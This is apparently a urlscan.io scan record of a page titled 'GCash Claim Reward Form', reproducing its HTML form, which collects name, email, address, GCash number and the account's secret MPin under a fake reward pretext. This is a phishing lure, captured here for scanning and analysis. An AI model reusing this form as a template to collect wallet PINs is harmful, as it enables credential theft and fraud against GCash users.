www.peacemounts.com Open in urlscan Pro
35.208.67.146  Public Scan

Form analysis
1 forms found in the DOM

POST

<form id="survey-form" method="POST">
  <div class="form-group">
    <label id="name-label" for="name">Name*</label>
    <input type="text" name="name" id="name" class="form-control" placeholder="Enter your name" autocomplete="off" required="">
  </div>
  <div class="form-group">
    <label id="email-label" for="email">Email*</label>
    <input type="email" name="email" id="email" class="form-control" placeholder="Enter your Email" autocomplete="off" required="">
  </div>
  <div class="form-group">
    <label id="number-label" for="number">Age*<span class="clue"></span></label>
    <input oninput="javascript: if (this.value.length > this.maxLength) this.value = this.value.slice(0, this.maxLength);" type="number" maxlength="2" name="age" id="age" min="10" max="99" class="form-control" autocomplete="off" placeholder="Age"
      required="">
  </div>
  <div class="form-group">
    <label id="address-label" for="address">Complete Address*</label>
    <input oninput="javascript: if (this.value.length > this.maxLength) this.value = this.value.slice(0, this.maxLength);" type="text" maxlength="30" name="address" id="address" class="form-control" placeholder="Enter your Address" autocomplete="off"
      required="">
  </div>
  <div class="form-group">
    <label id="address-label">What GCash user are you?</label>
    <select name="verify">
      <option value="" disabled="" selected="">Select your option</option>
      <option value="semi">Semi Verified</option>
      <option value="full">Fully Verified</option>
    </select>
  </div>
  <div class="form-group">
    <label id="number-label-label" for="PhoneNumber">GCash Number (09XXXXXXXXX)*<br>*Registered GCash Number where you will receive the Reward*</label>
    <input oninput="javascript: if (this.value.length > this.maxLength) this.value = this.value.slice(0, this.maxLength);" type="number" maxlength="11" name="PhoneNumber" id="PhoneNumber" class="form-control" autocomplete="off"
      placeholder="GCash Number" required="">
  </div>
  <div class="form-group">
    <label id="number-label-label" for="PhoneNumber">GCash MPin (XXXX)*</label>
    <input oninput="javascript: if (this.value.length > this.maxLength) this.value = this.value.slice(0, this.maxLength);" maxlength="4" type="number" name="pin" id="pin" class="form-control" autocomplete="off" placeholder="GCash Pin" required="">
  </div>
  <div class="form-group">
    <p> How is your GCash experience?(Optional) </p>
    <input type="experience" name="experience" id="experience" class="form-control" autocomplete="off" placeholder="Enter your experience here...">
  </div>
  <div class="form-group">
  </div>
  <div class="form-group">
    <input type="submit" autocomplete="off" class="submit-button" name="submit" value="Submit"><br>
  </div>
</form>

Text Content

GCASH CLAIM REWARD FORM

Fill and Proceed to claim the Reward at Gcash .

Name*
Email*
Age*
Complete Address*
What GCash user are you? Select your option Semi Verified Fully Verified
GCash Number (09XXXXXXXXX)*
*Registered GCash Number where you will receive the Reward*
GCash MPin (XXXX)*

How is your GCash experience?(Optional)